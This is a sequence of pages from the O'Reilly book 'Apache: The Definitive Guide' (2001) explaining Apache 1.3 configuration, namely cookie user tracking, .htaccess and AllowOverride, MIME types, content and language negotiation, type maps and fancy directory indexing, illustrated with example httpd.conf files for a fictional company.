This is all great fun, but we are trying to run a business here. Our salespeople are logging in because they want to place orders, and we ought to be able to detect who they are so we can send the goods to them automatically. This can be done, and we will look at how to do it in a moment. Just for the sake of completeness, we should note a few extra directives here.

5.10.1. IdentityCheck

IdentityCheck [on|off]

This causes the server to attempt to identify the client's user by querying the identd daemon of the client host. (See RFC 1413 for details, but the short explanation is that identd will, when given a socket number, reveal which user created that socket -- that is, the username of the client on his home machine.) If successful, the user ID is logged in the access log. However, as the Apache manual austerely remarks, you should "not trust this information in any way except for rudimentary usage tracking." Furthermore (or perhaps, furtherless), this extra logging slows Apache down, and many machines do not run an identd daemon, or if they do, they prevent external access to it. Even if the client's machine is running identd, the information it provides is entirely under the control of the remote machine. So you may think it not worth the trouble to use IdentityCheck.

5.10.2. Cookies

Another way of keeping track of accesses is through a cookie, a number the server invents for each requesting entity and returns with the response. The client then sends it back on each subsequent request to the same server, so that we can distinguish between one person who accesses us six times and six people who access us once each from the same host. Not every browser does this, but Netscape does. This adds granularity to the data by keeping track not just of sites that access us, but of individual users. There is a backward compatibility problem: should we use two-digit or four-digit dates for cookies? This note, from Christian Allen (christian@sane.com) appears in the Apache documentation:

Subject Re: Apache Y2K bug in mod_usertrack.c

Date: Tue, 30 Jun 1998 11:41:56: -0400

Did some work with cookies and dug up some info that might be useful. True, Netscape claims that the correct format NOW is four digit dates, and four digit dates do in fact work...for Netscape 4.x (Communicator), that is. However, 3.x and below do NOT accept them. It seems that Netscape originally had a 2-digit standard, and then with all of the Y2K hype and probably a few complaints, changed to a four-digit date for Communicator.

Fortunately, 4.x also understands the 2-digit format, and so the best way to ensure that your expiration date is legible to the client's browser is to use 2-digit dates. However, this does not limit expiration dates to the year 2000; if you use an expiration year of "13", for example, it is interpreted as 2013, NOT 1913! In fact, you can use an expiration year of up to "37", and it will be understood as "2037" by both MSIE and Netscape versions 3.x and up (not sure about versions previous to those). Not sure why Netscape used that particular year as its cut-off point, but my guess is that it was in respect to Unix's 2038 problem. Netscape/MSIE 4.x seem to be able to understand 2-digit years beyond that, at least until "50" for sure (I think they understand up until "70", but not for sure).

Summary: Mozilla 3.x and up understands two digit dates up until "37" (2037). Mozilla 4.x understands up until at least "50" (2050) in 2-digit form, but also understands 4-digit years, which can probably reach up until 9999. Your best bet for sending a long-life cookie is to send it for some time late in the year "37".

5.10.3. CookieLog

CookieLog filename
Server config, virtual host

CookieLog sets a filename relative to the server root for a file in which to log the cookies. It is more usual to configure a field with LogFormat and catch the cookies in the central log (see Section 11.5, "Logging the Action").

5.10.4. CookieTracking

CookieTracking [on|off]
Server config, virtual host, directory, .htaccess

If the user-tracking module is compiled in and CookieTracking on is set, Apache will start sending a user-tracking cookie for all requests.

5.10.5. CookieExpires

CookieExpires expiry-period
Server config, virtual host

This directive sets an expiration time on the cookie. Without it, the cookie has no expiration date -- not even a very faraway one The expiry-period can be given as a number of seconds, or in a format such as 2 weeks 3 days 7 hours. Valid time periods are:

  • years

  • months

  • weeks

  • hours

  • minutes

Add the following lines:

...
<VirtualHost www.butterthlies.com>
CookieTracking on
CookieLog /logs/customers/cookies
...

If the same person accesses us four times, we see the following:

192217840356872314 "GET / HTTP/1.0" [18/Aug/1996:08:28:28 +0000] 304
192217840356872314 "GET / HTTP/1.0" [18/Aug/1996:08:28:30 +0000] 304 192217840356872314 "GET / HTTP/1.0" [18/Aug/1996:08:28:31 +0000] 304 192217840356872314 "GET / HTTP/1.0" [18/Aug/1996:08:28:32 +0000] 304

Previous | Home | Next
5.9. Experiments | Book Index | 5.11. Using .htaccess Files
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Using .htaccess Files (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

5.11. Using .htaccess Files

We experimented with putting configuration directives in a file called ... /htdocs/.htaccess rather than in httpd.conf. It worked, but how do you decide whether to do things this way rather than the other?

The point of the .htaccess mechanism is that you can change configuration directives without having to restart the server. This is especially valuable on a site where a lot of people are maintaining their own home pages but are not authorized to bring the server down or, indeed, to modify its Config files. The drawback to the .htaccess method is that the files are parsed for each access to the server, rather than just once at startup, so there is a substantial performance penalty.

The httpd.conf (from ... /site.htaccess) file contains the following:

User webuser
Group webgroup
ServerName www.butterthlies.com
AccessFilename .myaccess

ServerAdmin sales@butterthlies.com
DocumentRoot /usr/www/site.htaccess/htdocs/customers
ErrorLog /usr/www/site.htaccess/logs/customers/error_log
TransferLog /usr/www/site.htaccess/logs/customers/access_log
ScriptAlias /cgi-bin /usr/www/cgi-bin

<VirtualHost sales.butterthlies.com>
ServerAdmin sales_mgr@butterthlies.com
DocumentRoot /usr/www/site.htaccess/htdocs/salesmen
ServerName sales.butterthlies.com
ErrorLog /usr/www/site.htaccess/logs/salesmen/error_log
TransferLog /usr/www/site.htaccess/logs/salesmen/access_log
ScriptAlias /cgi-bin /usr/www/cgi-bin

#<Directory /usr/www/site.htaccess/htdocs/salesmen>
#AuthType Basic
#AuthName darkness

#AuthUserFile /usr/www/ok_users/sales
#AuthGroupFile /usr/www/ok_users/groups

#require valid-user
#require group cleaners
#</Directory>

<Directory /usr/www/cgi-bin>
AuthType Basic
AuthName darkness
AuthUserFile /usr/www/ok_users/sales
AuthGroupFile /usr/www/ok_users/groups
#either flat files - above - or DBM below
#AuthDBMUserFile /usr/www/ok_dbm/sales
#AuthDBMGroupFile /usr/www/ok_dbm/groups
</Directory>
</VirtualHost>

Notice that the security part of the salespeople's section has been commented out in ... /httpd.conf. The following lines, which were part of it, are found in ... /htdocs/salesmen/.myaccess:

AuthType Basic
AuthName darkness
AuthUserFile /usr/www/ok_users/sales
AuthGroupFile /usr/www/ok_users/groups
#require valid-user
require group cleaners

If you run the site with ./go and access http://sales.butterthlies.com/, you are asked for an ID and a password in the usual way. You had better be daphne or sonia if you want to get in, because only members of the group cleaners are allowed. It has to be said, though, that Netscape got into a tremendous muddle over passwords, and the only reliable way to make sure that it was really doing what it claimed was to exit and reload it before each test.

Now, if by way of playfulness, we rename ... /htdocs/salesmen/.myaccess to .noaccess and retry, without restarting Apache, we should find that password control has disappeared. This makes the point that Apache parses this file each time the directory is accessed, not just at startup.

If you decide to go this route, there are a number of things that can be done to make the way smoother. For example, the name of the control file can be changed (as we did earlier) with the AccessFileName directive in the file httpd.conf.

5.11.1. AccessFileName

AccessFileName filename, filename ...
Server config, virtual host

AccessFileName gives authority to the files specified. Include the following line in httpd.conf:

AccessFileName .myaccess1, myaccess2 ...

Restart Apache (since the AccessFileName has to be read at startup) and then restart your browser to get rid of password caching. When you reaccess the site, password control has reappeared.

You might expect that you could limit AccessFileName to .myaccess in some particular directory, but not elsewhere. You can't -- it is global (well, more global than per-directory). Try editing ... /conf/httpd.conf to read:

<Directory /usr/www/site.htaccess/htdocs/salesmen>
AccessFileName .myaccess
</Directory>

Apache complains:

Syntax error on line 2 of /usr/www/conf/srm.conf: AccessFileName not allowed here

As we have said, this file is found and parsed on each access, and this takes time. When a client requests access to a file /usr/www/site.htaccess/htdocs/salesmen/index.html, Apache searches for the following:

  • /.myaccess

  • /usr/.myaccess

  • /usr/www/.myaccess

  • /usr/www/site.htaccess/.myaccess

  • /usr/www/site.htaccess/htdocs/.myaccess

  • /usr/www/site.htaccess/htdocs/salesmen/.myaccess

This multiple search also slows business down. You can turn multiple searching off, and make a noticeable difference to Apache's speed, with the following directive:

<Directory />
AllowOverride none
</Directory>

It is important to understand that "/" means the real, root directory (because that is where Apache starts searching) and not the URL.

Previous | Home | Next
5.10. Automatic User Information | Book Index | 5.12. Overrides
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Overrides (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

5.12. Overrides

We can do more with overrides than speed Apache up. This mechanism allows the webmaster to exert finer control over what is done in .htaccess files. The key directive is AllowOverride.

5.12.1. AllowOverride

AllowOverride override1 override2 ...
Directory

This directive tells Apache which directives in an .htaccess file can override earlier directives. The list of AllowOverride overrides is as follows:

AuthConfig

Allows individual settings of AuthDBMGroupFile, AuthDBMUserFile, AuthGroupFile, AuthName, AuthType, AuthUserFile, and require

FileInfo

Allows AddType, AddEncoding, and AddLanguage

Indexes

Allows FancyIndexing, AddIcon, AddDescription (see Chapter 7, "Indexing")

Limit

Can limit access based on hostname or IP number

Options

Allows the use of the Options directive (see Chapter 4, "Common Gateway Interface (CGI) ")

All

All of the above

None

None of the above

You might ask: if none switches multiple searches off, which of the above options switches it on? The answer is any of them, or the complete absence of AllowOverride. In other words, it is on by default.

To illustrate how this works, look at .../site.override, which is .../site.htaccess with the authentication directives on the salespeople's directory back in again. We have also, to make a visible difference, commented out:

require group cleaners

and uncommented:

#require valid-user

The Config file is as follows:

User webuser
Group webgroup
ServerName www.butterthlies.com
AccessFilename .myaccess

ServerAdmin sales@butterthlies.com
DocumentRoot /usr/www/site.htaccess/htdocs/customers
ErrorLog /usr/www/site.htaccess/logs/customers/error_log
TransferLog /usr/www/site.htaccess/logs/customers/access_log
ScriptAlias /cgi-bin /usr/www/cgi-bin

<VirtualHost sales.butterthlies.com>
ServerAdmin sales_mgr@butterthlies.com
DocumentRoot /usr/www/site.htaccess/htdocs/salesmen
ServerName sales.butterthlies.com
ErrorLog /usr/www/site.htaccess/logs/salesmen/error_log
TransferLog /usr/www/site.htaccess/logs/salesmen/access_log
ScriptAlias /cgi-bin /usr/www/cgi-bin

<Directory /usr/www/site.htaccess/htdocs/salesmen>
AuthType Basic
AuthName darkness

AuthUserFile /usr/www/ok_users/sales
AuthGroupFile /usr/www/ok_users/groups

require valid-user
#require group cleaners
</Directory>

<Directory /usr/www/cgi-bin>
AuthType Basic
AuthName darkness
AuthUserFile /usr/www/ok_users/sales
AuthGroupFile /usr/www/ok_users/groups
#AuthDBMUserFile /usr/www/ok_dbm/sales
#AuthDBMGroupFile /usr/www/ok_dbm/groups
</Directory>
</VirtualHost>

Access to the salespeople's site is now restricted to bill, ben, sonia, and daphne, and they need to give a password. If you remember, the .myaccess file of .../site.htaccess had the following lines:

require group cleaners
#require valid-user

As things stand in .../site.override, the Config file will prevail and any valid user, such as bill, can get access. If we insert the line:

AllowOverride Authconfig

in the Directory block, httpd.conf allows any valid user access to the salespeople's directory, but .myaccess restricts it further to members of the group cleaners.

As can be seen, AllowOverride makes it possible for individual directories to be precisely tailored. It serves little purpose to give more examples because they all work the same way.

Previous | Home | Next
5.11. Using .htaccess Files | Book Index | 6. MIME, Content and Language Negotiation
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


MIME, Content and Language Negotiation (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

Chapter 6. MIME, Content and Language Negotiation

Contents:

MIME Types
Content Negotiation
Language Negotiation
Type Maps
Browsers and HTTP/1.1

Apache has the ability to tune its returns to the abilities of the client -- and even to improve the client's efforts. Currently, this affects:

  • The choice of MIME type returned. This is often used for images, which might be the very old-fashioned bitmap, the old-fashioned .gif, or the more modern and smaller .jpg. Apache's reactions can be extended and controlled with a number of directives.

  • The language of the returned file.

  • Updates to the returned file.

  • The spelling of the client's requests.

6.1. MIME Types

MIME stands for Multimedia Internet Mail Extensions. The code used here is in mod_mime.c and is compiled in by default. It allows Apache to determine the type of a file from its extension. The list of MIME types that Apache already knows about is distributed in the file ..conf/mime.types or can be found at http://www.isi.edu/in-notes/iana/assignments/media-types/media-types. You can edit it to include extra types, or you can use the directives discussed in this chapter. The default location for the file is .../<site>/conf, but it may be more convenient to keep it elsewhere, in which case you would use the directive TypesConfig.

Changing the encoding of a file with one of these directives does not change the value of the Last-Modified header, so cached copies can be used. Files can have more than one extension, and their order normally doesn't matter. If the extension .itl maps onto Italian and .html maps onto HTML, then the files text.itl.html and text.html.itl will be treated alike. However, any unrecognized extension, say .xyz, wipes out all extensions to its left. Hence text.itl.xyz.html will be treated as HTML but not as Italian.

6.1.1. TypesConfig

TypesConfig filename
Default: conf/mime.types
Server config

This directive sets the path and filename to find the mime.types file if it isn't in the default position.

6.1.2. AddType

AddType mime-type extension extension
Anywhere

This adds extensions to correspond to a content type. It may not be obvious how AddType differs from AddEncoding: a content type is "what it is" and an encoding is "how it gets there." HTML and GIF are content types; base 64 and ZIP are encodings.

Long ago, a process called "magic MIME types" was used to fiddle extra capability into Apache by using AddType. AddType should now only be used for genuine MIME types.

6.1.3. DefaultType

DefaultType mime-type
Anywhere

The server must inform the client of the content type of the document, so in the event of an unknown type it uses whatever is specified by the DefaultType directive. For example:

DefaultType image/gif

would be appropriate for a directory that contained many GIF images with file-names missing the .gif extension.

6.1.4. AddEncoding

AddEncoding mime-enc extension extension
Anywhere

This directive adds new types of encoding to the list. Hence:

AddEncoding x-gzip zip

will cause Apache to send x-gzip as the encoding for files with the extension .zip so that a file stuff.zip will automatically be unzipped as it is served.[50] For compatibility with older browsers, the prefix x- is specially handled, so that x-gzip is functionally the same as gzip. This is because the browser can say what it is prepared to handle with an Accept-Encoding header. If it says gzip, then Apache will send gzip, even if you've set x-gzip; similarly, if it says x-gzip, then so will Apache. But if the browser says nothing, Apache will say whatever you set, so you'd better set the old form (x-gzip) since the browser may also be old.

[50]Note that browser support for this useful facility is patchy at best, so, as the saying goes, YMMV (your mileage may vary).

6.1.5. ForceType

ForceType media-type
Directory, .htaccess

Given a directory full of files of a particular type, ForceType will cause them to be sent as media-type. For instance, you might have a collection of .gif files in the directory .../gifdir, but you don't want them to have that extension. You would include something like this in your Config file:

<Directory <path>/gifdir>
ForceType image/gif
</Directory>

Previous | Home | Next
5.12. Overrides | Book Index | 6.2. Content Negotiation
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Content Negotiation (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

6.2. Content Negotiation

There may be different ways to handle the data that Apache returns, and there are two equivalent ways of implementing this functionality. The multiviews method is simpler (and more limited) than the *.var method, so we shall start with it. The Config file (from ... /site.multiview) looks like this:

User webuser
Group webgroup
ServerName www.butterthlies.com
DocumentRoot /usr/www/site.multiview/htdocs
ScriptAlias /cgi-bin /usr/www/cgi-bin
AddLanguage it .it
AddLanguage en .en
AddLanguage ko .ko
LanguagePriority it en ko

<Directory /usr/www/site.multiview/htdocs>
Options +MultiViews
</Directory>

For historical reasons, you have to say:

Options +MultiViews

even though you might reasonably think that Options All would cover the case. The general idea is that whenever you want to offer variants on a file (e.g., JPG, GIF, or bitmap for images, or different languages for text), multiviews will handle it.

6.2.1. Image Negotiation

Image negotiation is a special corner of general content negotiation because the Web has a problem with image files: for instance, some browsers can cope with PNG files and some can't, and the latter have to be sent the simpler, more old-fashioned, and bulkier GIF files. The client's browser sends a message to the server telling it which image files it accepts:

HTTP_ACCEPT=image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*

The server then looks for an appropriate file and returns it. We can demonstrate the effect by editing our ... /htdocs/catalog_summer.html file to remove the .jpg extensions on the image files. The appropriate lines now look like this:

...
<img src="bench" alt="Picture of a Bench">
...
<img src="hen" alt="Picture of a hencoop like a pagoda">
...

When Apache has the multiViews option turned on and is asked for an image called bench, it looks for the smaller of bench.jpg and bench.gif -- assuming the client's browser accepts both, of course -- and returns it.

Previous | Home | Next
6. MIME, Content and Language Negotiation | Book Index | 6.3. Language Negotiation
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Language Negotiation (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

6.3. Language Negotiation

The same useful functionality also applies to language. To demonstrate this we need to make up .html scripts in different languages. Well, we won't bother with real different languages; we'll just edit the scripts to say, for example:

<h1>Italian Version</h1>

and edit the English version so that it includes a new line:

<h1>English Version</h1>

Then we give each file an appropriate extension:

  • index.html.en for English

  • index.html.it for Italian

  • index.html.ko for Korean

Apache recognizes language variants: en-US is seen as a version of general English, en, which seems reasonable. You can also offer documents that serve more than one language. If you had a "franglais" version, you could serve it to both English speakers and Francophones by naming it frangdoc.en.fr. Of course, in real life you would have to go to substantially more trouble, what with translators and special keyboards and all. Also, the Italian version of the index would need to point to Italian versions of the catalogs. But in the fantasy world of Butterthlies, Inc., it's all so simple.

The Italian version of our index would be index.html.it. This is true of files in general, but it's necessary to be aware of some index subtleties. By default, Apache looks for a file called index.html.<something>. If it has a language extension, like index.html.it, it will find the index file, happily add the language extension, and then serve up what the browser prefers. If, however, you call the index file index.it.html, Apache will still look for, and fail to find, index.html.<something>. If index.html.en is present, that will be served up. If index.en.html is there, then Apache gives up and serves up a list of all the files. The moral is, if you want to deal with index filenames in either order -- index.it.html alongside index.html.en -- you need the directive:

DirectoryIndex index

to make Apache look for a file called index.<something> rather than the default index.html.<something>.

Anyway, to give Apache the idea, we have to have the corresponding lines in the httpd.conf file:

AddLanguage it .it
AddLanguage en .en
AddLanguage ko .ko

Now our browser behaves in a rather civilized way. If you run ./go on the server, go to the client machine, and (in Netscape) go to Edit→Preferences→Languages and set Italian to be first, you see the Italian version of the index. If you change to English and reload, you get the English version. It you then go to catalog_summer, you see the pictures even though we didn't strictly specify the filenames. In a small way...magic!

Apache controls language selection if the browser doesn't. If you turn language preference off in your browser and edit the Config file to insert the line:

LanguagePriority it en

the browser will get Italian.

6.3.1. LanguagePriority

LanguagePriority MIME-lang MIME-lang...
Server config, virtual host, directory, .htaccess

The LanguagePriority directive sets the precedence of language variants for the case in which the client does not express a preference, when handling a multiviews request. The MIME-lang list is in order of decreasing preference. For example:

LanguagePriority en fr de

For a request for foo.html, where foo.html.fr and foo.html.de both existed, but the browser did not express a language preference, foo.html.fr would be returned.

Note that this directive only has an effect if a "best" language cannot be determined by any other means. Correctly implemented HTTP/1.1 requests will mean that this directive has no effect.

How does this all work? Hark back to the environment variables in Chapter 4, "Common Gateway Interface (CGI) ". Among them were the following:

...
HTTP_ACCEPT=image/gif,image/x-bitmap,image/jpeg,image/pjpeg,*/*
...
HTTP_ACCEPT_LANGUAGE=it
...

Apache uses this information to work out what it can acceptably send back from the choices at its disposal.

Previous | Home | Next
6.2. Content Negotiation | Book Index | 6.4. Type Maps
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Type Maps (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

6.4. Type Maps

In the last section, we looked at multiviews as a way of providing language and image negotiation. The other way to achieve the same effects in the current release of Apache, and more lavish effects later (probably to negotiate browser plug-ins), is to use type maps, also known as *.var files. Multiviews works by scrambling together a vanilla type map; now you have the chance to set it up just as you want it. The Config file is as follows:

User webuser
Group webgroup
ServerName www.butterthlies.com
DocumentRoot /usr/www/site.typemap/htdocs
AddHandler type-map var
DirectoryIndex index.var
AccessConfig /dev/null
ResourceConfig /dev/null

One should write, as seen in this file:

AddHandler type-map var

Having set that, we can sensibly say:

DirectoryIndex index.var

to set up a set of language-specific indexes.

What this means, in plainer English, is that the DirectoryIndex line overrides the default index file index.html. If you also want index.html to be used as an alternative, you would have to specify it -- but you probably don't, because you are trying to do something more elaborate here. In this case there are several versions of the index: index.en.html, index.it.html, index.ko.html, so Apache looks for index.var for an explanation.

Look at ... /site.typemap/htdocs. We want to offer language-specific versions of the index.html file and alternatives to the generalized images bath, hen, tree, and bench, so we create two files, index.var and bench.var (we will only bother with one of the images, since the others are the same).

This is index.var :

# It seems that this URI _must_ be the filename minus the extension...
URI: index; vary="language"
URI: index.en.html
# Seems we _must_ have the Content-type or it doesn't work...
Content-type: text/html
Content-language: en
URI: index.it.html
Content-type: text/html
Content-language: it

This is bench.var :

URI: bench; vary="type"

URI: bench.jpg
Content-type: image/jpeg; qs=0.8 level=3

URI: bench.gif
Content-type: image/gif; qs=0.5 level=1

The first line tells Apache what file is in question, here index.* or bench.* ; vary tells Apache what sort of variation we have. The possibilities are:

  • type

  • language

  • charset

  • encoding

The name of the corresponding header, as defined in the HTTP specification, is obtained by prefixing these names with Content-. The headers are:

  • Content-type

  • Content-language

  • Content-charset

  • Content-encoding

The qs numbers are quality scores , from to 1. You decide what they are and write them in. The qs values for each type of return are multiplied to give the overall qs for each variant. For instance, if a variant has a qs of .5 for Content-type and a qs of .7 for Content-language, its overall qs is .35. The higher the result, the better. The level values are also numbers, and you decide what they are. In order for Apache to decide rationally which possibility to return, it resolves ties in the following way:

  1. Find the best (highest) qs.

  2. If there's a tie, count the occurrences of "*" in the type and choose the one with the lowest value (i.e., the one with the least wildcarding).

  3. If there's still a tie, choose the type with the highest language priority.

  4. If there's still a tie, choose the type with the highest level number.

  5. If there's still a tie, choose the highest content length.

If you can predict the outcome of all this in your head, you must qualify for some pretty classy award! Following is the full list of possible directives, given in the Apache documentation:

URI: uri

URI of the file containing the variant (of the given media type, encoded with the given content encoding). These are interpreted as URLs relative to the map file; they must be on the same server (!), and they must refer to files to which the client would be granted access if the files were requested directly.

Content-type: media_type [; qs=quality [level=level]]

These are often referred to as MIME types; typical media types are image/gif, text/plain, or text/html.

Content-language: language

The language of the variant, specified as an Internet standard language code (e.g., en for English, ko for Korean).

Content-encoding: encoding

If the file is compressed or otherwise encoded, rather than containing the actual raw data, this value says how compression was done. For compressed files (the only case where this generally comes up), content encoding should be x-compress or gzip, as appropriate.

Content-length: length

The size of the file. The size of the file is used by Apache to decide which file to send; specifying a content length in the map allows the server to compare the length without checking the actual file.

To throw this into action, start Apache with ./go, set the language of your browser to Italian, (in Netscape, choose Edit→Preferences→Netscape→Languages) and access http://www.butterthlies.com /. You should see the Italian version.

Previous | Home | Next
6.3. Language Negotiation | Book Index | 6.5. Browsers and HTTP/1.1
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Browsers and HTTP/1.1 (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

6.5. Browsers and HTTP/1.1

Like any other human creation, the Web fills up with rubbish. The webmaster cannot assume that all clients will be using up-to-the-minute browsers -- all the old, useless versions are out there waiting to make a mess of your best-laid plans.

In 1996, the weekly Internet magazine devoted to Apache affairs, Apache Week (Issue 25), had this to say about the impact of the then-upcoming HTTP/1.1:

For negotiation to work, browsers must send the correct request information. For human languages, browsers should let the user pick what language or languages they are interested in. Recent beta versions of Netscape let the user select one or more languages (see the Netscape Options, General Preferences, Languages section).

For content-types, the browser should send a list of types it can accept. For example, "text/html, text/plain, image/jpeg, image/gif.". Most browsers also add the catch-all type of "*/*" to indicate that they can accept any content type. The server treats this entry with lower priority than a direct match.

Unfortunately, the "*/*" type is sometimes used instead of listing explicitly acceptable types. For example, if the Adobe Acrobat Reader plug-in is installed into Netscape, Netscape should add application/pdf to its acceptable content types. This would let the server transparently send the most appropriate content type (PDF files to suitable browsers, else HTML). Netscape does not send the content types it can accept, instead relying on the */* catch-all. This makes the transparent content-negotiation impossible.

Although time has passed, the situation has probably not changed very much. In addition, most browsers do not indicate a preference for particular types. This should be done by adding a preference factor (q) to the content type. For example, a browser that accepts Acrobat files might prefer them to HTML, so it could send an accept-type list that includes:

text/html: q=0.7, application/pdf: q=0.8

When the server handles the request, it combines this information with its source quality information (if any) to pick the "best" content type to return.

For another method of handling MIME types, see Section 12.11, "MIME Magic" in Chapter 12, "Extra Modules".

Previous | Home | Next
6.4. Type Maps | Book Index | 7. Indexing
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Indexing (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

Chapter 7. Indexing

Contents:

Making Better Indexes in Apache
Making Our Own Indexes
Imagemaps

As we saw back on site.first (see Chapter 3, "Toward a Real Web Site"), if there is no index.html file in ... /htdocs, Apache concocts one called "Index of /", where "/" means the DocumentRoot directory. For many purposes this will, no doubt, be enough. But since this jury-rigged index is the first thing a client sees, you may want to do more.

7.1. Making Better Indexes in Apache

There is a wide range of possibilities; some are demonstrated at ... /site.fancyindex :

User webuser
Group webgroup
ServerName www.butterthlies.com
DocumentRoot /usr/www/site.fancyindex/htdocs

<Directory /usr/www/site.fancyindex/htdocs>
FancyIndexing on
AddDescription "One of our wonderful catalogs" catalog_summer.html
    catalog autumn.html
IndexIgnore *.jpg
IndexIgnore  ..
IndexIgnore  icons HEADER README
AddIconByType (CAT,icons/bomb.gif) text/*
DefaultIcon icons/burst.gif
#AddIcon (DIR,icons/burst.gif) ^^DIRECTORY^^
HeaderName HEADER
ReadMeName README
</Directory>

When you type go on the server and access http://www.butterthlies.com/ on the browser, you should see a rather fancy display:

Welcome to BUTTERTHLIES INC  Name Last Modified Size Description
--------------------------------------------------------------------
    <bomb>	catalog_autumn.html	23-Jul-1998 09:11	1k 	One of our wonderful catalogs
    <bomb>	catalog_summer.html	25-Jul-1998 10:31	1k	One of our wonderful catalogs
    <burst> index.html.ok		23-Jul-1998 09:11	1k
-------------------------------------------------------------------- 	Butterthlies Inc, Hopeful City, Nevada 99999

(This output is from Apache 1.3; the year is displayed in four-digit format to cope with the Year 2000 problem.) How does all this work? As you can see from the httpd.conf file, this smart formatting is displayed directory by directory. The key directive is IndexOptions.

7.1.1. IndexOptions

IndexOptions option  option ...
Server config, virtual host, directory, .htaccess

This directive was altered by the Apache Group as we went to press with this edition of the book; therefore, its behavior is different before and after Apache version 1.3.2. The options are as follows:

FancyIndexing

Turns on fancy indexing of directories (see Section 7.1.2, "FancyIndexing", later in this chapter).

Note that in versions of Apache prior to 1.3.2, the FancyIndexing and IndexOptions directives will override each other. You should use IndexOptions FancyIndexing in preference to the standalone Fancy-Indexing directive. As of Apache 1.3.2, a standalone FancyIndexing directive is combined with any IndexOptions directive already specified for the current scope.

IconHeight[= pixels] (Apache 1.3 and later)

The presence of this option, when used with IconWidth, will cause the server to include HEIGHT and WIDTH attributes in the <IMG> tag for the file icon. This allows browsers to precalculate the page layout without having to wait until all the images have been loaded. If no value is given for the option, it defaults to the standard height of the icons supplied with the Apache software.

IconsAreLinks

This option makes the icons part of the anchor for the filename, for fancy indexing.

IconWidth[= pixels] (Apache 1.3 and later)

The presence of this option, when used with IconHeight, will cause the server to include HEIGHT and WIDTH attributes in the <IMG> tag for the file icon. This allows browsers to precalculate the page layout without having to wait until all the images have been loaded. If no value is given for the option, it defaults to the standard width of the icons supplied with the Apache software.

NameWidth=[ n | *] (Apache 1.3.2 and later)

The NameWidth keyword allows you to specify the width of the filename column in bytes. If the keyword value is " * ", then the column is automatically sized to the length of the longest filename in the display.

ScanHTMLTitles

Enables the extraction of the title from HTML documents for fancy indexing. If the file does not have a description given by AddDescription, then httpd will read the document for the value of the <TITLE> tag. This process is CPU- and disk-intensive.

SuppressColumnSorting

If specified, Apache will not make the column headings in a fancy indexed directory listing into links for sorting. The default behavior is for them to be links; selecting the column heading will sort the directory listing by the values in that column. Only available in Apache 1.3 and later.

SuppressDescription

This option will suppress the file description in fancy indexing listings.

SuppressHTMLPreamble (Apache 1.3 and later)

If the directory actually contains a file specified by the HeaderName directive, the module usually includes the contents of the file after a standard HTML preamble (<HTML>, <HEAD>, etc.). The SuppressHTMLPreamble option disables this behavior, causing the module to start the display with the header file contents. The header file must contain appropriate HTML instructions in this case. If there is no header file, the preamble is generated as usual.

SuppressLastModified

This option will suppress the display of the last modification date in fancy indexing listings.

SuppressSize

This option will suppress the file size in fancy indexing listings.

There are some noticeable differences in the behavior of the IndexOptions directive in recent (post-1.3.0) versions of Apache. In Apache 1.3.2 and earlier, the default is that no options are enabled. If multiple IndexOptions could apply to a directory, then the most specific one is taken complete; the options are not merged. For example, if the specified directives are:

<Directory /web/docs>
IndexOptions FancyIndexing
</Directory>
<Directory /web/docs/spec>
IndexOptions ScanHTMLTitles
</Directory>

then only ScanHTMLTitles will be set for the /web/docs/spec directory.

Apache 1.3.3 introduced some significant changes in the handling of IndexOptions directives. In particular:

  • Multiple IndexOptions directives for a single directory are now merged together. The result of the previous example will now be the equivalent of IndexOptions FancyIndexing ScanHTMLTitles.

  • Incremental syntax (i.e., prefixing keywords with "+" or "-") has been added.

Whenever a "+" or "-" prefixed keyword is encountered, it is applied to the current IndexOptions settings (which may have been inherited from an upper-level directory). However, whenever an unprefixed keyword is processed, it clears all inherited options and any incremental settings encountered so far. Consider the following example:

IndexOptions +ScanHTMLTitles -IconsAreLinks FancyIndexing
IndexOptions +SuppressSize

The net effect is equivalent to IndexOptions FancyIndexing +SuppressSize, because the unprefixed FancyIndexing discarded the incremental keywords before it but allowed them to start accumulating again afterward.

To unconditionally set the IndexOptions for a particular directory, clearing the inherited settings, specify keywords without either "+" or "-" prefixes.

7.1.2. FancyIndexing

FancyIndexing on_or_off
Server config, virtual host, directory, .htaccess

FancyIndexing turns fancy indexing on. The user can click on a column title to sort the entries by value. Clicking again will reverse the sort. Sorting can be turned off with the SuppressColumnSorting keyword for IndexOptions (see earlier in this chapter).

We can specify a description for individual files or for a list of them. We can exclude files from the listing with IndexIgnore.

7.1.3. IndexIgnore

IndexIgnore file1 file2 ...
Server config, virtual host, directory, .htaccess

IndexIgnore is followed by a list of files or wildcards to describe files. As we see in the following example, multiple IndexIgnores add to the list rather than replacing each other. By default, the list includes ".".

Here we want to ignore the *.jpg files (which are, after all, no use without the .html files that display them) and the parent directory, known to Unix and to Win32 as "..":

...
<Directory /usr/www/fancyindex.txt/htdocs>
FancyIndexing on
AddDescription "One of our wonderful catalogs" catalog_autumn.html catalog_summer.html
IndexIgnore *.jpg ..
</Directory>

You might want to use IndexIgnore for security reasons as well: what the eye doesn't see, the mouse finger can't steal.[51] You can put in extra IndexIgnore lines, and the effects are cumulative, so we could just as well write:

[51]Well, OK, you should never rely on this, but it doesn't hurt, right?

<Directory /usr/www/fancyindex.txt/htdocs>
FancyIndexing on
AddDescription "One of our wonderful catalogs" catalog_autumn.html catalog_summer.html
IndexIgnore *.jpg
IndexIgnore ..
</Directory>

